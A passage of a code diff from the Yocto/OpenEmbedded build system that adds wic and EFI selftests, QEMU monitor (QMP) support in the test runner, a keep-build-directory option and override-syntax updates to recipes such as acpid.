+ bb_vars = get_bb_vars(['DEPLOY_DIR_IMAGE', 'MACHINE'])
+ deploy_dir = bb_vars['DEPLOY_DIR_IMAGE']
+ machine = bb_vars['MACHINE']
+ image_path = os.path.join(deploy_dir, 'core-image-minimal-%s.wic' % machine)
+ self.assertEqual(True, os.path.exists(image_path))
+
+ sysroot = get_bb_var('RECIPE_SYSROOT_NATIVE', 'wic-tools')
+
+ # Fstype column from 'wic ls' should be empty for the second partition
+ # as listed in test_empty_plugin.wks
+ result = runCmd("wic ls %s -n %s | awk -F ' ' '{print $1 \" \" $5}' | grep '^2' | wc -w" % (image_path, sysroot))
+ self.assertEqual('1', result.output)
+
@only_for_arch(['i586', 'i686', 'x86_64'])
def test_biosplusefi_plugin_qemu(self):
"""Test biosplusefi plugin in qemu"""
- config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "test_biosplusefi_plugin.wks"\nMACHINE_FEATURES_append = " efi"\n'
+ config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "test_biosplusefi_plugin.wks"\nMACHINE_FEATURES:append = " efi"\n'
self.append_config(config)
self.assertEqual(0, bitbake('core-image-minimal').status)
self.remove_config(config)
@@ -1030,7 +1141,7 @@ class Wic2(WicTestCase):
# If an image hasn't been built yet, directory ${STAGING_DATADIR}/syslinux won't exists and _get_bootimg_dir()
# will raise with "Couldn't find correct bootimg_dir"
# The easiest way to work-around this issue is to make sure we already built an image here, hence the bitbake call
- config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "test_biosplusefi_plugin.wks"\nMACHINE_FEATURES_append = " efi"\n'
+ config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "test_biosplusefi_plugin.wks"\nMACHINE_FEATURES:append = " efi"\n'
self.append_config(config)
self.assertEqual(0, bitbake('core-image-minimal').status)
self.remove_config(config)
@@ -1047,6 +1158,35 @@ class Wic2(WicTestCase):
out = glob(self.resultdir + "%s-*.direct" % wksname)
self.assertEqual(1, len(out))
+ @only_for_arch(['i586', 'i686', 'x86_64'])
+ def test_efi_plugin_unified_kernel_image_qemu(self):
+ """Test efi plugin's Unified Kernel Image feature in qemu"""
+ config = 'IMAGE_FSTYPES = "wic"\n'\
+ 'INITRAMFS_IMAGE = "core-image-minimal-initramfs"\n'\
+ 'WKS_FILE = "test_efi_plugin.wks"\n'\
+ 'MACHINE_FEATURES:append = " efi"\n'
+ self.append_config(config)
+ self.assertEqual(0, bitbake('core-image-minimal core-image-minimal-initramfs ovmf').status)
+ self.remove_config(config)
+
+ with runqemu('core-image-minimal', ssh=False,
+ runqemuparams='ovmf', image_fstype='wic') as qemu:
+ # Check that /boot has EFI bootx64.efi (required for EFI)
+ cmd = "ls /boot/EFI/BOOT/bootx64.efi | wc -l"
+ status, output = qemu.run_serial(cmd)
+ self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
+ self.assertEqual(output, '1')
+ # Check that /boot has EFI/Linux/linux.efi (required for Unified Kernel Images auto detection)
+ cmd = "ls /boot/EFI/Linux/linux.efi | wc -l"
+ status, output = qemu.run_serial(cmd)
+ self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
+ self.assertEqual(output, '1')
+ # Check that /boot doesn't have loader/entries/boot.conf (Unified Kernel Images are auto detected by the bootloader)
+ cmd = "ls /boot/loader/entries/boot.conf 2&>/dev/null | wc -l"
+ status, output = qemu.run_serial(cmd)
+ self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
+ self.assertEqual(output, '0')
+
def test_fs_types(self):
"""Test filesystem types for empty and not empty partitions"""
img = 'core-image-minimal'
@@ -1264,8 +1404,8 @@ class Wic2(WicTestCase):
result = runCmd("%s/usr/sbin/sfdisk -F %s" % (sysroot, new_image_path))
self.assertTrue("0 B, 0 bytes, 0 sectors" in result.output)
- os.rename(image_path, image_path + '.bak')
- os.rename(new_image_path, image_path)
+ bb.utils.rename(image_path, image_path + '.bak')
+ bb.utils.rename(new_image_path, image_path)
# Check if it boots in qemu
with runqemu('core-image-minimal', ssh=False) as qemu:
@@ -1276,7 +1416,7 @@ class Wic2(WicTestCase):
if os.path.exists(new_image_path):
os.unlink(new_image_path)
if os.path.exists(image_path + '.bak'):
- os.rename(image_path + '.bak', image_path)
+ bb.utils.rename(image_path + '.bak', image_path)
def test_wic_ls_ext(self):
"""Test listing content of the ext partition using 'wic ls'"""
diff --git a/meta/lib/oeqa/selftest/context.py b/meta/lib/oeqa/selftest/context.py
index dd3609c1d6..78c7a467e2 100644
--- a/meta/lib/oeqa/selftest/context.py
+++ b/meta/lib/oeqa/selftest/context.py
@@ -34,12 +34,12 @@ class NonConcurrentTestSuite(unittest.TestSuite):
(builddir, newbuilddir) = self.setupfunc("-st", None, self.suite)
ret = super().run(result)
os.chdir(builddir)
- if newbuilddir and ret.wasSuccessful():
+ if newbuilddir and ret.wasSuccessful() and self.removefunc:
self.removefunc(newbuilddir)
def removebuilddir(d):
delay = 5
- while delay and os.path.exists(d + "/bitbake.lock"):
+ while delay and (os.path.exists(d + "/bitbake.lock") or os.path.exists(d + "/cache/hashserv.db-wal")):
time.sleep(1)
delay = delay - 1
# Deleting these directories takes a lot of time, use autobuilder
@@ -54,7 +54,7 @@ def removebuilddir(d):
bb.utils.prunedir(d, ionice=True)
class OESelftestTestContext(OETestContext):
- def __init__(self, td=None, logger=None, machines=None, config_paths=None, newbuilddir=None):
+ def __init__(self, td=None, logger=None, machines=None, config_paths=None, newbuilddir=None, keep_builddir=None):
super(OESelftestTestContext, self).__init__(td, logger)
self.machines = machines
@@ -62,6 +62,11 @@ class OESelftestTestContext(OETestContext):
self.config_paths = config_paths
self.newbuilddir = newbuilddir
+ if keep_builddir:
+ self.removebuilddir = None
+ else:
+ self.removebuilddir = removebuilddir
+
def setup_builddir(self, suffix, selftestdir, suite):
builddir = os.environ['BUILDDIR']
if not selftestdir:
@@ -119,9 +124,9 @@ class OESelftestTestContext(OETestContext):
if processes:
from oeqa.core.utils.concurrencytest import ConcurrentTestSuite
- return ConcurrentTestSuite(suites, processes, self.setup_builddir, removebuilddir)
+ return ConcurrentTestSuite(suites, processes, self.setup_builddir, self.removebuilddir)
else:
- return NonConcurrentTestSuite(suites, processes, self.setup_builddir, removebuilddir)
+ return NonConcurrentTestSuite(suites, processes, self.setup_builddir, self.removebuilddir)
def runTests(self, processes=None, machine=None, skips=[]):
if machine:
@@ -179,6 +184,9 @@ class OESelftestTestContextExecutor(OETestContextExecutor):
action='append', default=None,
help='Exclude all (unhidden) tests that match any of the specified tag(s). (exclude applies before select)')
+ parser.add_argument('-K', '--keep-builddir', action='store_true',
+ help='Keep the test build directory even if all tests pass')
+
parser.add_argument('-B', '--newbuilddir', help='New build directory to use for tests.')
parser.add_argument('-v', '--verbose', action='store_true')
parser.set_defaults(func=self.run)
@@ -236,6 +244,7 @@ class OESelftestTestContextExecutor(OETestContextExecutor):
self.tc_kwargs['init']['config_paths']['localconf'] = os.path.join(builddir, "conf/local.conf")
self.tc_kwargs['init']['config_paths']['bblayers'] = os.path.join(builddir, "conf/bblayers.conf")
self.tc_kwargs['init']['newbuilddir'] = args.newbuilddir
+ self.tc_kwargs['init']['keep_builddir'] = args.keep_builddir
def tag_filter(tags):
if args.exclude_tags:
diff --git a/meta/lib/oeqa/targetcontrol.py b/meta/lib/oeqa/targetcontrol.py
index 19f5a4ea7e..1fdff82889 100644
--- a/meta/lib/oeqa/targetcontrol.py
+++ b/meta/lib/oeqa/targetcontrol.py
@@ -17,6 +17,7 @@ from oeqa.utils.sshcontrol import SSHControl
from oeqa.utils.qemurunner import QemuRunner
from oeqa.utils.qemutinyrunner import QemuTinyRunner
from oeqa.utils.dump import TargetDumper
+from oeqa.utils.dump import MonitorDumper
from oeqa.controllers.testtargetloader import TestTargetLoader
from abc import ABCMeta, abstractmethod
@@ -108,6 +109,7 @@ class QemuTarget(BaseTarget):
self.qemulog = os.path.join(self.testdir, "qemu_boot_log.%s" % self.datetime)
dump_target_cmds = d.getVar("testimage_dump_target")
dump_host_cmds = d.getVar("testimage_dump_host")
+ dump_monitor_cmds = d.getVar("testimage_dump_monitor")
dump_dir = d.getVar("TESTIMAGE_DUMP_DIR")
if not dump_dir:
dump_dir = os.path.join(d.getVar('LOG_DIR'), 'runtime-hostdump')
@@ -131,6 +133,7 @@ class QemuTarget(BaseTarget):
logfile = self.qemulog,
kernel = self.kernel,
boottime = int(d.getVar("TEST_QEMUBOOT_TIMEOUT")),
+ tmpfsdir = d.getVar("RUNQEMU_TMPFS_DIR"),
logger = logger)
else:
self.runner = QemuRunner(machine=d.getVar("MACHINE"),
@@ -144,9 +147,13 @@ class QemuTarget(BaseTarget):
dump_dir = dump_dir,
dump_host_cmds = d.getVar("testimage_dump_host"),
logger = logger,
+ tmpfsdir = d.getVar("RUNQEMU_TMPFS_DIR"),
serial_ports = len(d.getVar("SERIAL_CONSOLES").split()))
self.target_dumper = TargetDumper(dump_target_cmds, dump_dir, self.runner)
+ self.monitor_dumper = MonitorDumper(dump_monitor_cmds, dump_dir, self.runner)
+ if (self.monitor_dumper):
+ self.monitor_dumper.create_dir("qmp")
def deploy(self):
bb.utils.mkdirhier(self.testdir)
diff --git a/meta/lib/oeqa/utils/__init__.py b/meta/lib/oeqa/utils/__init__.py
index 70fbe7b552..6d1ec4cb99 100644
--- a/meta/lib/oeqa/utils/__init__.py
+++ b/meta/lib/oeqa/utils/__init__.py
@@ -43,28 +43,12 @@ def make_logger_bitbake_compatible(logger):
import logging
"""
- Bitbake logger redifines debug() in order to
- set a level within debug, this breaks compatibility
- with vainilla logging, so we neeed to redifine debug()
- method again also add info() method with INFO + 1 level.
+ We need to raise the log level of the info output so unittest
+ messages are visible on the console.
"""
- def _bitbake_log_debug(*args, **kwargs):
- lvl = logging.DEBUG
-
- if isinstance(args[0], int):
- lvl = args[0]
- msg = args[1]
- args = args[2:]
- else:
- msg = args[0]
- args = args[1:]
-
- logger.log(lvl, msg, *args, **kwargs)
-
def _bitbake_log_info(msg, *args, **kwargs):
logger.log(logging.INFO + 1, msg, *args, **kwargs)
- logger.debug = _bitbake_log_debug
logger.info = _bitbake_log_info
return logger
diff --git a/meta/lib/oeqa/utils/buildproject.py b/meta/lib/oeqa/utils/buildproject.py
index e6d80cc8dc..dfb9661868 100644
--- a/meta/lib/oeqa/utils/buildproject.py
+++ b/meta/lib/oeqa/utils/buildproject.py
@@ -18,6 +18,7 @@ class BuildProject(metaclass=ABCMeta):
def __init__(self, uri, foldername=None, tmpdir=None, dl_dir=None):
self.uri = uri
self.archive = os.path.basename(uri)
+ self.tempdirobj = None
if not tmpdir:
self.tempdirobj = tempfile.TemporaryDirectory(prefix='buildproject-')
tmpdir = self.tempdirobj.name
@@ -57,6 +58,8 @@ class BuildProject(metaclass=ABCMeta):
return self._run('cd %s; make install %s' % (self.targetdir, install_args))
def clean(self):
+ if self.tempdirobj:
+ self.tempdirobj.cleanup()
if not self.needclean:
return
self._run('rm -rf %s' % self.targetdir)
diff --git a/meta/lib/oeqa/utils/commands.py b/meta/lib/oeqa/utils/commands.py
index 6c1535ddfb..024261410e 100644
--- a/meta/lib/oeqa/utils/commands.py
+++ b/meta/lib/oeqa/utils/commands.py
@@ -174,11 +174,8 @@ def runCmd(command, ignore_status=False, timeout=None, assert_error=True, sync=T
if native_sysroot:
extra_paths = "%s/sbin:%s/usr/sbin:%s/usr/bin" % \
(native_sysroot, native_sysroot, native_sysroot)
- extra_libpaths = "%s/lib:%s/usr/lib" % \
- (native_sysroot, native_sysroot)
nenv = dict(options.get('env', os.environ))
nenv['PATH'] = extra_paths + ':' + nenv.get('PATH', '')
- nenv['LD_LIBRARY_PATH'] = extra_libpaths + ':' + nenv.get('LD_LIBRARY_PATH', '')
options['env'] = nenv
cmd = Command(command, timeout=timeout, output_log=output_log, **options)
@@ -188,7 +185,10 @@ def runCmd(command, ignore_status=False, timeout=None, assert_error=True, sync=T
# call sync around the tests to ensure the IO queue doesn't get too large, taking any IO
# hit here rather than in bitbake shutdown.
if sync:
+ p = os.environ['PATH']
+ os.environ['PATH'] = "/usr/bin:/bin:/usr/sbin:/sbin:" + p
os.system("sync")
+ os.environ['PATH'] = p
result.command = command
result.status = cmd.status
diff --git a/meta/lib/oeqa/utils/dump.py b/meta/lib/oeqa/utils/dump.py
index 09a44329e0..dc8757807e 100644
--- a/meta/lib/oeqa/utils/dump.py
+++ b/meta/lib/oeqa/utils/dump.py
@@ -4,6 +4,7 @@
import os
import sys
+import json
import errno
import datetime
import itertools
@@ -17,6 +18,7 @@ class BaseDumper(object):
# Some testing doesn't inherit testimage, so it is needed
# to set some defaults.
self.parent_dir = parent_dir
+ self.dump_dir = parent_dir
dft_cmds = """ top -bn1
iostat -x -z -N -d -p ALL 20 2
ps -ef
@@ -46,11 +48,13 @@ class BaseDumper(object):
raise err
self.dump_dir = dump_dir
- def _write_dump(self, command, output):
+ def _construct_filename(self, command):
if isinstance(self, HostDumper):
prefix = "host"
elif isinstance(self, TargetDumper):
prefix = "target"
+ elif isinstance(self, MonitorDumper):
+ prefix = "qmp"
else:
prefix = "unknown"
for i in itertools.count():
@@ -58,9 +62,16 @@ class BaseDumper(object):
fullname = os.path.join(self.dump_dir, filename)
if not os.path.exists(fullname):
break
- with open(fullname, 'w') as dump_file:
- dump_file.write(output)
+ return fullname
+ def _write_dump(self, command, output):
+ fullname = self._construct_filename(command)
+ if isinstance(self, MonitorDumper):
+ with open(fullname, 'w') as json_file:
+ json.dump(output, json_file, indent=4)
+ else:
+ with open(fullname, 'w') as dump_file:
+ dump_file.write(output)
class HostDumper(BaseDumper):
""" Class to get dumps from the host running the tests """
@@ -96,3 +107,31 @@ class TargetDumper(BaseDumper):
except:
print("Tried to dump info from target but "
"serial console failed")
+ print("Failed CMD: %s" % (cmd))
+
+class MonitorDumper(BaseDumper):
+ """ Class to get dumps via the Qemu Monitor, it only works with QemuRunner """
+
+ def __init__(self, cmds, parent_dir, runner):
+ super(MonitorDumper, self).__init__(cmds, parent_dir)
+ self.runner = runner
+
+ def dump_monitor(self, dump_dir=""):
+ if self.runner is None:
+ return
+ if dump_dir:
+ self.dump_dir = dump_dir
+ for cmd in self.cmds:
+ cmd_name = cmd.split()[0]
+ try:
+ if len(cmd.split()) > 1:
+ cmd_args = cmd.split()[1]
+ if "%s" in cmd_args:
+ filename = self._construct_filename(cmd_name)
+ cmd_data = json.loads(cmd_args % (filename))
+ output = self.runner.run_monitor(cmd_name, cmd_data)
+ else:
+ output = self.runner.run_monitor(cmd_name)
+ self._write_dump(cmd_name, output)
+ except Exception as e:
+ print("Failed to dump QMP CMD: %s with\nException: %s" % (cmd_name, e))
diff --git a/meta/lib/oeqa/utils/package_manager.py b/meta/lib/oeqa/utils/package_manager.py
index 3623299295..6b67f22fdd 100644
--- a/meta/lib/oeqa/utils/package_manager.py
+++ b/meta/lib/oeqa/utils/package_manager.py
@@ -117,7 +117,7 @@ def extract_packages(d, needed_packages):
extract = package.get('extract', True)
if extract:
- #logger.debug(1, 'Extracting %s' % pkg)
+ #logger.debug('Extracting %s' % pkg)
dst_dir = os.path.join(extracted_path, pkg)
# Same package used for more than one test,
# don't need to extract again.
@@ -130,7 +130,7 @@ def extract_packages(d, needed_packages):
shutil.rmtree(pkg_dir)
else:
- #logger.debug(1, 'Copying %s' % pkg)
+ #logger.debug('Copying %s' % pkg)
_copy_package(d, pkg)
def _extract_in_tmpdir(d, pkg):
diff --git a/meta/lib/oeqa/utils/qemurunner.py b/meta/lib/oeqa/utils/qemurunner.py
index 77ec939ad7..0397148082 100644
--- a/meta/lib/oeqa/utils/qemurunner.py
+++ b/meta/lib/oeqa/utils/qemurunner.py
@@ -20,8 +20,10 @@ import string
import threading
import codecs
import logging
+import tempfile
from oeqa.utils.dump import HostDumper
from collections import defaultdict
+import importlib
# Get Unicode non printable control chars
control_range = list(range(0,32))+list(range(127,160))
@@ -32,7 +34,7 @@ re_control_char = re.compile('[%s]' % re.escape("".join(control_chars)))
class QemuRunner:
def __init__(self, machine, rootfs, display, tmpdir, deploy_dir_image, logfile, boottime, dump_dir, dump_host_cmds,
- use_kvm, logger, use_slirp=False, serial_ports=2, boot_patterns = defaultdict(str), use_ovmf=False, workdir=None):
+ use_kvm, logger, use_slirp=False, serial_ports=2, boot_patterns = defaultdict(str), use_ovmf=False, workdir=None, tmpfsdir=None):
# Popen object for runqemu
self.runqemu = None
@@ -61,8 +63,9 @@ class QemuRunner:
self.serial_ports = serial_ports
self.msg = ''
self.boot_patterns = boot_patterns
+ self.tmpfsdir = tmpfsdir
- self.runqemutime = 120
+ self.runqemutime = 300
if not workdir:
workdir = os.getcwd()
self.qemu_pidfile = workdir + '/pidfile_' + str(os.getpid())
@@ -70,6 +73,8 @@ class QemuRunner:
self.monitorpipe = None
self.logger = logger
+ # Whether we're expecting an exit and should show related errors
+ self.canexit = False
# Enable testing other OS's
# Set commands for target communication, and default to Linux ALWAYS
@@ -118,7 +123,10 @@ class QemuRunner:
import fcntl
fl = fcntl.fcntl(o, fcntl.F_GETFL)
fcntl.fcntl(o, fcntl.F_SETFL, fl | os.O_NONBLOCK)
- return os.read(o.fileno(), 1000000).decode("utf-8")
+ try:
+ return os.read(o.fileno(), 1000000).decode("utf-8")
+ except BlockingIOError:
+ return ""
def handleSIGCHLD(self, signum, frame):
@@ -150,6 +158,9 @@ class QemuRunner:
else:
env["DEPLOY_DIR_IMAGE"] = self.deploy_dir_image
+ if self.tmpfsdir:
+ env["RUNQEMU_TMPFS_DIR"] = self.tmpfsdir
+
if not launch_cmd:
launch_cmd = 'runqemu %s' % ('snapshot' if discard_writes else '')
if self.use_kvm:
@@ -168,6 +179,29 @@ class QemuRunner:
return self.launch(launch_cmd, qemuparams=qemuparams, get_ip=get_ip, extra_bootparams=extra_bootparams, env=env)
def launch(self, launch_cmd, get_ip = True, qemuparams = None, extra_bootparams = None, env = None):
+ # use logfile to determine the recipe-sysroot-native path and
+ # then add in the site-packages path components and add that
+ # to the python sys.path so qmp.py can be found.
+ python_path = os.path.dirname(os.path.dirname(self.logfile))
+ python_path += "/recipe-sysroot-native/usr/lib/qemu-python"
+ sys.path.append(python_path)
+ importlib.invalidate_caches()
+ try:
+ qmp = importlib.import_module("qmp")
+ except:
+ self.logger.error("qemurunner: qmp.py missing, please ensure it's installed")
+ return False
+ # Path relative to tmpdir used as cwd for qemu below to avoid unix socket path length issues
+ qmp_file = "." + next(tempfile._get_candidate_names())
+ qmp_param = ' -S -qmp unix:./%s,server,wait' % (qmp_file)
+ qmp_port = self.tmpdir + "/" + qmp_file
+ # Create a second socket connection for debugging use,
+ # note this will NOT cause qemu to block waiting for the connection
+ qmp_file2 = "." + next(tempfile._get_candidate_names())
+ qmp_param += ' -qmp unix:./%s,server,nowait' % (qmp_file2)
+ qmp_port2 = self.tmpdir + "/" + qmp_file2
+ self.logger.info("QMP Available for connection at %s" % (qmp_port2))
+
try:
if self.serial_ports >= 2:
self.threadsock, threadport = self.create_socket()
@@ -176,7 +210,7 @@ class QemuRunner:
self.logger.error("Failed to create listening socket: %s" % msg[1])
return False
- bootparams = 'console=tty1 console=ttyS0,115200n8 printk.time=1'
+ bootparams = ' printk.time=1'
if extra_bootparams:
bootparams = bootparams + ' ' + extra_bootparams
@@ -184,7 +218,8 @@ class QemuRunner:
# and analyze descendents in order to determine it.
if os.path.exists(self.qemu_pidfile):
os.remove(self.qemu_pidfile)
- self.qemuparams = 'bootparams="{0}" qemuparams="-pidfile {1}"'.format(bootparams, self.qemu_pidfile)
+ self.qemuparams = 'bootparams="{0}" qemuparams="-pidfile {1} {2}"'.format(bootparams, self.qemu_pidfile, qmp_param)
+
if qemuparams:
self.qemuparams = self.qemuparams[:-1] + " " + qemuparams + " " + '\"'
@@ -202,8 +237,9 @@ class QemuRunner:
# blocking at the end of the runqemu script when using this within
# oe-selftest (this makes stty error out immediately). There ought
# to be a proper fix but this will suffice for now.
- self.runqemu = subprocess.Popen(launch_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, preexec_fn=os.setpgrp, env=env)
+ self.runqemu = subprocess.Popen(launch_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, preexec_fn=os.setpgrp, env=env, cwd=self.tmpdir)
output = self.runqemu.stdout
+ launch_time = time.time()
#
# We need the preexec_fn above so that all runqemu processes can easily be killed
@@ -229,7 +265,7 @@ class QemuRunner:
r = os.fdopen(r)
x = r.read()
os.killpg(os.getpgid(self.runqemu.pid), signal.SIGTERM)
- sys.exit(0)
+ os._exit(0)
self.logger.debug("runqemu started, pid is %s" % self.runqemu.pid)
self.logger.debug("waiting at most %s seconds for qemu pid (%s)" %
@@ -238,6 +274,7 @@ class QemuRunner:
while not self.is_alive() and time.time() < endtime:
if self.runqemu.poll():
if self.runqemu_exited:
+ self.logger.warning("runqemu during is_alive() test")
return False
if self.runqemu.returncode:
# No point waiting any longer
@@ -249,7 +286,10 @@ class QemuRunner:
time.sleep(0.5)
if self.runqemu_exited:
- return False
+ self.logger.warning("runqemu after timeout")
+
+ if self.runqemu.returncode:
+ self.logger.warning('runqemu exited with code %d' % self.runqemu.returncode)
if not self.is_alive():
self.logger.error("Qemu pid didn't appear in %s seconds (%s)" %
@@ -276,6 +316,72 @@ class QemuRunner:
self.logger.error("No output from runqemu.\n")
return False
+ # Create the client socket for the QEMU Monitor Control Socket
+ # This will allow us to read status from Qemu if the the process
+ # is still alive
+ self.logger.debug("QMP Initializing to %s" % (qmp_port))
+ # chdir dance for path length issues with unix sockets
+ origpath = os.getcwd()
+ try:
+ os.chdir(os.path.dirname(qmp_port))
+ try:
+ self.qmp = qmp.QEMUMonitorProtocol(os.path.basename(qmp_port))
+ except OSError as msg:
+ self.logger.warning("Failed to initialize qemu monitor socket: %s File: %s" % (msg, msg.filename))
+ return False
+
+ self.logger.debug("QMP Connecting to %s" % (qmp_port))
+ if not os.path.exists(qmp_port) and self.is_alive():
+ self.logger.debug("QMP Port does not exist waiting for it to be created")
+ endtime = time.time() + self.runqemutime
+ while not os.path.exists(qmp_port) and self.is_alive() and time.time() < endtime:
+ self.logger.info("QMP port does not exist yet!")
+ time.sleep(0.5)
+ if not os.path.exists(qmp_port) and self.is_alive():
+ self.logger.warning("QMP Port still does not exist but QEMU is alive")
+ return False
+
+ try:
+ self.qmp.connect()
+ connect_time = time.time()
+ self.logger.info("QMP connected to QEMU at %s and took %s seconds" %
+ (time.strftime("%D %H:%M:%S"),
+ time.time() - launch_time))
+ except OSError as msg:
+ self.logger.warning("Failed to connect qemu monitor socket: %s File: %s" % (msg, msg.filename))
+ return False
+ except qmp.QMPConnectError as msg:
+ self.logger.warning("Failed to communicate with qemu monitor: %s" % (msg))
+ return False
+ finally:
+ os.chdir(origpath)
+
+ # We worry that mmap'd libraries may cause page faults which hang the qemu VM for periods
+ # causing failures. Before we "start" qemu, read through it's mapped files to try and
+ # ensure we don't hit page faults later
+ mapdir = "/proc/" + str(self.qemupid) + "/map_files/"
+ try:
+ for f in os.listdir(mapdir):
+ try:
+ linktarget = os.readlink(os.path.join(mapdir, f))
+ if not linktarget.startswith("/") or linktarget.startswith("/dev") or "deleted" in linktarget:
+ continue
+ with open(linktarget, "rb") as readf:
+ data = True
+ while data:
+ data = readf.read(4096)
+ except FileNotFoundError:
+ continue
+ # Centos7 doesn't allow us to read /map_files/
+ except PermissionError:
+ pass
+
+ # Release the qemu process to continue running
+ self.run_monitor('cont')
+ self.logger.info("QMP released QEMU at %s and took %s seconds from connect" %
+ (time.strftime("%D %H:%M:%S"),
+ time.time() - connect_time))
+
# We are alive: qemu is running
out = self.getOutput(output)
netconf = False # network configuration is not required by default
@@ -376,7 +482,6 @@ class QemuRunner:
sock.close()
stopread = True
-
if not reachedlogin:
if time.time() >= endtime:
self.logger.warning("Target didn't reach login banner in %d seconds (%s)" %
@@ -433,10 +538,15 @@ class QemuRunner:
if self.runqemu.poll() is None:
self.logger.debug("Sending SIGKILL to runqemu")
os.killpg(os.getpgid(self.runqemu.pid), signal.SIGKILL)
+ if not self.runqemu.stdout.closed:
+ self.logger.info("Output from runqemu:\n%s" % self.getOutput(self.runqemu.stdout))
self.runqemu.stdin.close()
self.runqemu.stdout.close()
self.runqemu_exited = True
+ if hasattr(self, 'qmp') and self.qmp:
+ self.qmp.close()
+ self.qmp = None
if hasattr(self, 'server_socket') and self.server_socket:
self.server_socket.close()
self.server_socket = None
@@ -467,6 +577,11 @@ class QemuRunner:
self.thread.stop()
self.thread.join()
+ def allowexit(self):
+ self.canexit = True
+ if self.thread:
+ self.thread.allowexit()
+
def restart(self, qemuparams = None):
self.logger.warning("Restarting qemu process")
if self.runqemu.poll() is None:
@@ -495,6 +610,13 @@ class QemuRunner:
return True
return False
+ def run_monitor(self, command, args=None, timeout=60):
+ if hasattr(self, 'qmp') and self.qmp:
+ if args is not None:
+ return self.qmp.cmd(command, args)
+ else:
+ return self.qmp.cmd(command)
+
def run_serial(self, command, raw=False, timeout=60):
# We assume target system have echo to get command status
if not raw:
@@ -522,7 +644,9 @@ class QemuRunner:
if re.search(self.boot_patterns['search_cmd_finished'], data):
break
else:
- raise Exception("No data on serial console socket")
+ if self.canexit:
+ return (1, "")
+ raise Exception("No data on serial console socket, connection closed?")
if data:
if raw:
@@ -560,6 +684,7 @@ class LoggingThread(threading.Thread):
self.logger = logger
self.readsock = None
self.running = False
+ self.canexit = False
self.errorevents = select.POLLERR | select.POLLHUP | select.POLLNVAL
self.readevents = select.POLLIN | select.POLLPRI
@@ -593,6 +718,9 @@ class LoggingThread(threading.Thread):
self.close_ignore_error(self.writepipe)
self.running = False
+ def allowexit(self):
+ self.canexit = True
+
def eventloop(self):
poll = select.poll()
event_read_mask = self.errorevents | self.readevents
@@ -638,7 +766,7 @@ class LoggingThread(threading.Thread):
data = self.readsock.recv(count)
except socket.error as e:
if e.errno == errno.EAGAIN or e.errno == errno.EWOULDBLOCK:
- return ''
+ return b''
else:
raise
@@ -649,7 +777,9 @@ class LoggingThread(threading.Thread):
# happened. But for this code it counts as an
# error since the connection shouldn't go away
# until qemu exits.
- raise Exception("Console connection closed unexpectedly")
+ if not self.canexit:
+ raise Exception("Console connection closed unexpectedly")
+ return b''
return data
diff --git a/meta/lib/oeqa/utils/qemutinyrunner.py b/meta/lib/oeqa/utils/qemutinyrunner.py
index 5c92941c0a..20009401ca 100644
--- a/meta/lib/oeqa/utils/qemutinyrunner.py
+++ b/meta/lib/oeqa/utils/qemutinyrunner.py
@@ -19,7 +19,7 @@ from .qemurunner import QemuRunner
class QemuTinyRunner(QemuRunner):
- def __init__(self, machine, rootfs, display, tmpdir, deploy_dir_image, logfile, kernel, boottime, logger):
+ def __init__(self, machine, rootfs, display, tmpdir, deploy_dir_image, logfile, kernel, boottime, logger, tmpfsdir=None):
# Popen object for runqemu
self.runqemu = None
@@ -37,6 +37,7 @@ class QemuTinyRunner(QemuRunner):
self.deploy_dir_image = deploy_dir_image
self.logfile = logfile
self.boottime = boottime
+ self.tmpfsdir = tmpfsdir
self.runqemutime = 60
self.socketfile = "console.sock"
@@ -83,6 +84,9 @@ class QemuTinyRunner(QemuRunner):
return False
else:
os.environ["DEPLOY_DIR_IMAGE"] = self.deploy_dir_image
+ if self.tmpfsdir:
+ env["RUNQEMU_TMPFS_DIR"] = self.tmpfsdir
+
# Set this flag so that Qemu doesn't do any grabs as SDL grabs interact
# badly with screensavers.
diff --git a/meta/lib/oeqa/utils/targetbuild.py b/meta/lib/oeqa/utils/targetbuild.py
index 1055810ca3..09738add1d 100644
--- a/meta/lib/oeqa/utils/targetbuild.py
+++ b/meta/lib/oeqa/utils/targetbuild.py
@@ -19,6 +19,7 @@ class BuildProject(metaclass=ABCMeta):
self.d = d
self.uri = uri
self.archive = os.path.basename(uri)
+ self.tempdirobj = None
if not tmpdir:
tmpdir = self.d.getVar('WORKDIR')
if not tmpdir:
@@ -71,9 +72,10 @@ class BuildProject(metaclass=ABCMeta):
return self._run('cd %s; make install %s' % (self.targetdir, install_args))
def clean(self):
+ if self.tempdirobj:
+ self.tempdirobj.cleanup()
self._run('rm -rf %s' % self.targetdir)
subprocess.check_call('rm -f %s' % self.localarchive, shell=True)
- pass
class TargetBuildProject(BuildProject):
diff --git a/meta/recipes-bsp/acpid/acpid.inc b/meta/recipes-bsp/acpid/acpid.inc
index 1e43e7a9db..d39828e1cd 100644
--- a/meta/recipes-bsp/acpid/acpid.inc
+++ b/meta/recipes-bsp/acpid/acpid.inc
@@ -22,9 +22,9 @@ inherit autotools update-rc.d systemd
INITSCRIPT_NAME = "acpid"
INITSCRIPT_PARAMS = "defaults"
-SYSTEMD_SERVICE_${PN} = "acpid.service"
+SYSTEMD_SERVICE:${PN} = "acpid.service"
-do_install_append () {
+do_install:append () {
install -d ${D}${sysconfdir}/init.d
sed -e 's,/usr/sbin,${sbindir},g' ${WORKDIR}/init > ${D}${sysconfdir}/init.d/acpid
chmod 755 ${D}${sysconfdir}/init.d/acpid
@@ -32,7 +32,7 @@ do_install_append () {
install -d ${D}${sysconfdir}/acpi
install -d ${D}${sysconfdir}/acpi/events
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/acpid.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_unitdir}/system/acpid.service
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/acpid.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_system_unitdir}/acpid.service
}
